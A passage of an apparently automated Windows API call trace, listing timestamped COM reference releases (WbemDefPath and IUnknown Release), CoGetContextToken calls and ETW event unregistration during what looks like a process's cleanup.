pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x0 [0082.649] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.650] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x1 [0082.650] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x0 [0082.650] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x0 [0082.651] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.651] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x1 [0082.651] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x0 [0082.652] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x1 [0082.652] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x0 [0082.653] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x1 [0082.653] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x0 [0082.654] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0082.654] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x0 [0082.655] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0082.655] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x0 [0082.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0082.656] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x0 [0082.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.663] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x1 [0082.663] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x0 [0082.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.664] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x1 [0082.664] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x0 [0082.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.664] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x1 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.667] IUnknown:Release (This=0x1c029b20) returned 0x0 [0082.667] IUnknown:Release (This=0x1c0297b0) returned 0x0 [0082.667] IUnknown:Release (This=0x1bf6c200) returned 0x0 [0082.667] IUnknown:Release (This=0x1bf6bf50) returned 0x0 [0082.668] IUnknown:Release (This=0x116f9d0) returned 0x0 [0082.668] IUnknown:Release (This=0x116f660) returned 0x0 [0082.668] IUnknown:Release (This=0x116f2f0) returned 0x0 [0082.668] IUnknown:Release (This=0x116ef80) returned 0x0 [0082.668] IUnknown:Release (This=0x11fdf30) returned 0x0 [0082.668] IUnknown:Release (This=0x1bf6e240) returned 0x0 [0082.669] IUnknown:Release (This=0x1bf6bca0) returned 0x0 [0082.669] IUnknown:Release (This=0x1bf6b9f0) returned 0x0 [0082.669] IUnknown:Release (This=0x11fdbc0) returned 0x0 [0082.669] IUnknown:Release (This=0x11fd850) returned 0x0 [0082.669] IUnknown:Release (This=0x11fd4e0) returned 0x0 [0082.669] IUnknown:Release (This=0x11fd170) returned 0x0 [0082.670] IUnknown:Release (This=0x11fce00) returned 0x0 [0082.670] IUnknown:Release (This=0x1bf6d780) returned 0x0 [0082.670] IUnknown:Release (This=0x1bf6b740) returned 0x0 [0082.670] IUnknown:Release (This=0x1bf6b490) returned 0x0 [0082.670] IUnknown:Release (This=0x11fca90) returned 0x0 [0082.670] IUnknown:Release (This=0x11fc720) returned 0x0 [0082.670] IUnknown:Release (This=0x11fc3b0) returned 0x0 [0082.671] IUnknown:Release (This=0x11efe80) returned 0x0 [0082.671] IUnknown:Release (This=0x11efb10) returned 0x0 [0082.671] IUnknown:Release (This=0x1bf6d4d0) returned 0x0 [0082.671] IUnknown:Release (This=0x1c029440) returned 0x0 [0082.671] IUnknown:Release (This=0x1c0290d0) returned 0x0 [0082.671] IUnknown:Release (This=0x1c028d60) returned 0x0 [0082.677] IUnknown:Release (This=0x1c0289f0) returned 0x0 [0082.677] IUnknown:Release (This=0x1c028680) returned 0x0 [0082.677] IUnknown:Release (This=0x1bf6b1e0) returned 0x0 [0082.677] IUnknown:Release (This=0x1bf6af30) returned 0x0 [0082.677] IUnknown:Release (This=0x11ef7a0) returned 0x0 [0082.678] IUnknown:Release (This=0x11ef430) returned 0x0 [0082.678] IUnknown:Release (This=0x11ef0c0) returned 0x0 [0082.678] IUnknown:Release (This=0x11eed50) returned 0x0 [0082.678] IUnknown:Release (This=0x11ee9e0) returned 0x0 [0082.678] IUnknown:Release (This=0x1bf6df90) returned 0x0 [0082.679] IUnknown:Release (This=0x1bf6ac80) returned 0x0 [0082.679] IUnknown:Release (This=0x1bf6a9d0) returned 0x0 [0082.679] IUnknown:Release (This=0x11ee670) returned 0x0 [0082.679] IUnknown:Release (This=0x11ee300) returned 0x0 [0082.680] IUnknown:Release (This=0x11edf90) returned 0x0 [0082.680] IUnknown:Release (This=0x11edc20) returned 0x0 [0082.680] IUnknown:Release (This=0x11ed8b0) returned 0x0 [0082.680] IUnknown:Release (This=0x1c02b6a0) returned 0x0 [0082.680] IUnknown:Release (This=0x1c02b330) returned 0x0 [0082.680] IUnknown:Release (This=0x1bf6a720) returned 0x0 [0082.681] IUnknown:Release (This=0x1bf1ca90) returned 0x0 [0082.681] IUnknown:Release (This=0x11ed540) returned 0x0 [0082.681] IUnknown:Release (This=0x11ed1d0) returned 0x0 [0082.681] IUnknown:Release (This=0x11ece60) returned 0x0 [0082.681] IUnknown:Release (This=0x11ecaf0) returned 0x0 [0082.681] IUnknown:Release (This=0x11ec780) returned 0x0 [0082.681] IUnknown:Release (This=0x1c02afc0) returned 0x0 [0082.682] IUnknown:Release (This=0x1c02ac50) returned 0x0 [0082.682] IUnknown:Release (This=0x1c02a8e0) returned 0x0 [0082.682] IUnknown:Release (This=0x1bf6d220) returned 0x0 [0082.682] IUnknown:Release (This=0x1bf1c7e0) returned 0x0 [0082.682] IUnknown:Release (This=0x1bf1c530) returned 0x0 [0082.682] IUnknown:Release (This=0x11ec410) returned 0x0 [0082.683] IUnknown:Release (This=0x11ebe80) returned 0x0 [0082.683] IUnknown:Release (This=0x11ebb10) returned 0x0 [0082.683] IUnknown:Release (This=0x11eb7a0) returned 0x0 [0082.683] IUnknown:Release (This=0x11eb430) returned 0x0 [0082.683] IUnknown:Release (This=0x1bf6cf70) returned 0x0 [0082.683] IUnknown:Release (This=0x1c028310) returned 0x0 [0082.683] IUnknown:Release (This=0x1bf1c280) returned 0x0 [0082.684] IUnknown:Release (This=0x1bf1bfd0) returned 0x0 [0082.684] IUnknown:Release (This=0x11eb0c0) returned 0x0 [0082.684] IUnknown:Release (This=0x11ead50) returned 0x0 [0082.684] IUnknown:Release (This=0x11ea9e0) returned 0x0 [0082.684] IUnknown:Release (This=0x11ea670) returned 0x0 [0082.684] IUnknown:Release (This=0x11ea300) returned 0x0 [0082.684] IUnknown:Release (This=0x11729f0) returned 0x0 [0082.685] IUnknown:Release (This=0x1172680) returned 0x0 [0082.685] IUnknown:Release (This=0x1bf1bd20) returned 0x0 [0082.685] IUnknown:Release (This=0x1bf1ba70) returned 0x0 [0082.685] IUnknown:Release (This=0x11e9f90) returned 0x0 [0082.685] IUnknown:Release (This=0x11e9c20) returned 0x0 [0082.685] IUnknown:Release (This=0x11e98b0) returned 0x0 [0082.692] IUnknown:Release (This=0x11e9540) returned 0x0 [0082.692] IUnknown:Release (This=0x11e91d0) returned 0x0 [0082.692] IUnknown:Release (This=0x1172310) returned 0x0 [0082.692] IUnknown:Release (This=0x1171fa0) returned 0x0 [0082.696] IUnknown:Release (This=0x1bf6ccc0) returned 0x0 [0082.696] IUnknown:Release (This=0x1bf1b7c0) returned 0x0 [0082.696] IUnknown:Release (This=0x1bf1b510) returned 0x0 [0082.696] IUnknown:Release (This=0x11e8e60) returned 0x0 [0082.697] IUnknown:Release (This=0x11e8af0) returned 0x0 [0082.697] IUnknown:Release (This=0x11e8780) returned 0x0 [0082.697] IUnknown:Release (This=0x11e8410) returned 0x0 [0082.697] IUnknown:Release (This=0x1bef6d00) returned 0x0 [0082.697] IUnknown:Release (This=0x1bf6ca10) returned 0x0 [0082.698] IUnknown:Release (This=0x1bf1b260) returned 0x0 [0082.698] IUnknown:Release (This=0x1bf1afb0) returned 0x0 [0082.698] IUnknown:Release (This=0x1bef6990) returned 0x0 [0082.698] IUnknown:Release (This=0x1bef6620) returned 0x0 [0082.698] IUnknown:Release (This=0x1bef62b0) returned 0x0 [0082.698] IUnknown:Release (This=0x1bef5f40) returned 0x0 [0082.699] IUnknown:Release (This=0x1bef5bd0) returned 0x0 [0082.699] IUnknown:Release (This=0x1171c30) returned 0x0 [0082.699] IUnknown:Release (This=0x11718c0) returned 0x0 [0082.699] IUnknown:Release (This=0x1bf1ad00) returned 0x0 [0082.699] IUnknown:Release (This=0x1bf1aa50) returned 0x0 [0082.699] IUnknown:Release (This=0x1bef5860) returned 0x0 [0082.699] IUnknown:Release (This=0x1bef54f0) returned 0x0 [0082.700] IUnknown:Release (This=0x1bef5180) returned 0x0 [0082.700] IUnknown:Release (This=0x1bef4e10) returned 0x0 [0082.700] IUnknown:Release (This=0x1bef4aa0) returned 0x0 [0082.700] IUnknown:Release (This=0x1171550) returned 0x0 [0082.700] IUnknown:Release (This=0x11711e0) returned 0x0 [0082.700] IUnknown:Release (This=0x1170e70) returned 0x0 [0082.700] IUnknown:Release (This=0x1bf6dce0) returned 0x0 [0082.701] IUnknown:Release (This=0x1bf1a7a0) returned 0x0 [0082.701] IUnknown:Release (This=0x1bf19f90) returned 0x0 [0082.701] IUnknown:Release (This=0x1bef4730) returned 0x0 [0082.701] IUnknown:Release (This=0x1bef43c0) returned 0x0 [0082.701] IUnknown:Release (This=0x1bef4050) returned 0x0 [0082.701] IUnknown:Release (This=0x1bef3ce0) returned 0x0 [0082.702] IUnknown:Release (This=0x1bef3970) returned 0x0 [0082.702] IUnknown:Release (This=0x1bf6c760) returned 0x0 [0082.702] IUnknown:Release (This=0x1bf18f70) returned 0x0 [0082.702] IUnknown:Release (This=0x1bf19ce0) returned 0x0 [0082.702] IUnknown:Release (This=0x1bef3600) returned 0x0 [0082.702] IUnknown:Release (This=0x1bef3290) returned 0x0 [0082.702] IUnknown:Release (This=0x1bf472e0) returned 0x0 [0082.708] IUnknown:Release (This=0x1bf46f70) returned 0x0 [0082.708] IUnknown:Release (This=0x1bf46c00) returned 0x0 [0082.708] IUnknown:Release (This=0x1bf6c4b0) returned 0x0 [0082.709] IUnknown:Release (This=0x1bf1a4f0) returned 0x0 [0082.709] IUnknown:Release (This=0x1bf19a30) returned 0x0 [0082.709] IUnknown:Release (This=0x1bf46890) returned 0x0 [0082.709] IUnknown:Release (This=0x1bf46520) returned 0x0 [0082.709] IUnknown:Release (This=0x1bf461b0) returned 0x0 [0082.710] IUnknown:Release (This=0x1bf45ad0) returned 0x0 [0082.710] IUnknown:Release (This=0x1bf45760) returned 0x0 [0082.710] IUnknown:Release (This=0x1170b00) returned 0x0 [0082.710] IUnknown:Release (This=0x1170790) returned 0x0 [0082.710] IUnknown:Release (This=0x1170420) returned 0x0 [0082.710] IUnknown:Release (This=0x11700b0) returned 0x0 [0082.710] IUnknown:Release (This=0x116fd40) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf19780) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf1a240) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf453f0) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf45080) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf44d10) returned 0x0 [0082.711] IUnknown:Release (This=0x1bf449a0) returned 0x0 [0082.712] IUnknown:Release (This=0x1bf44630) returned 0x0 [0082.712] IUnknown:Release (This=0x1bf6da30) returned 0x0 [0082.712] IUnknown:Release (This=0x1c02a570) returned 0x0 [0082.712] IUnknown:Release (This=0x1bf194d0) returned 0x0 [0082.712] IUnknown:Release (This=0x1bf19220) returned 0x0 [0082.713] IUnknown:Release (This=0x1bf442c0) returned 0x0 [0082.713] IUnknown:Release (This=0x1bf43f50) returned 0x0 [0082.713] IUnknown:Release (This=0x1bf43be0) returned 0x0 [0082.713] IUnknown:Release (This=0x1bf43870) returned 0x0 [0082.713] IUnknown:Release (This=0x1bf45e40) returned 0x0 [0082.714] IUnknown:Release (This=0x1c02a200) returned 0x0 [0082.714] IUnknown:Release (This=0x1c029e90) returned 0x0 [0094.060] EtwEventUnregister (RegHandle=0xf00010001) returned 0x0 [0094.060] EtwEventUnregister (RegHandle=0x1000010001) returned 0x0 [0094.064] IUnknown:Release (This=0x1c0377a0) returned 0x0 [0094.065] IUnknown:Release (This=0x1bf47390) returned 0x0 [0094.066] IUnknown:Release (This=0x11fd4e0) returned 0x0 [0094.066] IUnknown:Release (This=0x11fd170) returned 0x0 [0094.066] IUnknown:Release (This=0x11fce00) returned 0x0 [0094.066] IUnknown:Release (This=0x11fca90) returned 0x0 [0094.066] IUnknown:Release (This=0x11fc720) returned 0x1 [0094.067] IUnknown:Release (This=0x1bf470e0) returned 0x0 [0094.067] IUnknown:Release (This=0x1bf46e30) returned 0x0 [0094.067] IUnknown:Release (This=0x11fc3b0) returned 0x0 [0094.067] IUnknown:Release (This=0x11efe80) returned 0x0 [0094.067] IUnknown:Release (This=0x11efb10) returned 0x0 [0094.067] IUnknown:Release (This=0x11ef7a0) returned 0x0 [0094.067] IUnknown:Release (This=0x11ef430) returned 0x1 [0094.068] IUnknown:Release (This=0x1bf46b80) returned 0x0 [0094.068] IUnknown:Release (This=0x1bf468d0) returned 0x0 [0094.068] IUnknown:Release (This=0x11ef0c0) returned 0x0 [0094.068] IUnknown:Release (This=0x11eed50) returned 0x0 [0094.068] IUnknown:Release (This=0x11ee9e0) returned 0x0 [0094.068] IUnknown:Release (This=0x11ee670) returned 0x0 [0094.069] IUnknown:Release (This=0x11ee300) returned 0x1 [0094.069] IUnknown:Release (This=0x1bf46620) returned 0x0 [0094.069] IUnknown:Release (This=0x1bf46370) returned 0x0 [0094.069] IUnknown:Release (This=0x11edf90) returned 0x0 [0094.069] IUnknown:Release (This=0x11edc20) returned 0x0 [0094.069] IUnknown:Release (This=0x11ed8b0) returned 0x0 [0094.070] IUnknown:Release (This=0x11ed540) returned 0x0 [0094.070] IUnknown:Release (This=0x11ed1d0) returned 0x1 [0094.070] IUnknown:Release (This=0x1bf460c0) returned 0x0 [0094.070] IUnknown:Release (This=0x1bf45e10) returned 0x0 [0094.071] IUnknown:Release (This=0x11ece60) returned 0x0 [0094.071] IUnknown:Release (This=0x11ecaf0) returned 0x0 [0094.071] IUnknown:Release (This=0x11ec780) returned 0x0 [0094.071] IUnknown:Release (This=0x11ec410) returned 0x0 [0094.071] IUnknown:Release (This=0x1bef6d00) returned 0x1 [0094.072] IUnknown:Release (This=0x1bf45b60) returned 0x0 [0094.072] IUnknown:Release (This=0x1bf458b0) returned 0x0 [0094.072] IUnknown:Release (This=0x1bef6990) returned 0x0 [0094.072] IUnknown:Release (This=0x1bef6620) returned 0x0 [0094.072] IUnknown:Release (This=0x1bef62b0) returned 0x0 [0094.073] IUnknown:Release (This=0x1bef5f40) returned 0x0 [0094.073] IUnknown:Release (This=0x1bef5bd0) returned 0x1 [0094.073] IUnknown:Release (This=0x1bf45600) returned 0x0 [0094.073] IUnknown:Release (This=0x1bf45350) returned 0x0 [0094.073] IUnknown:Release (This=0x1bef5860) returned 0x0 [0094.073] IUnknown:Release (This=0x1bef54f0) returned 0x0 [0094.074] IUnknown:Release (This=0x1bef5180) returned 0x0 [0094.074] IUnknown:Release (This=0x1bef4e10) returned 0x0 [0094.084] 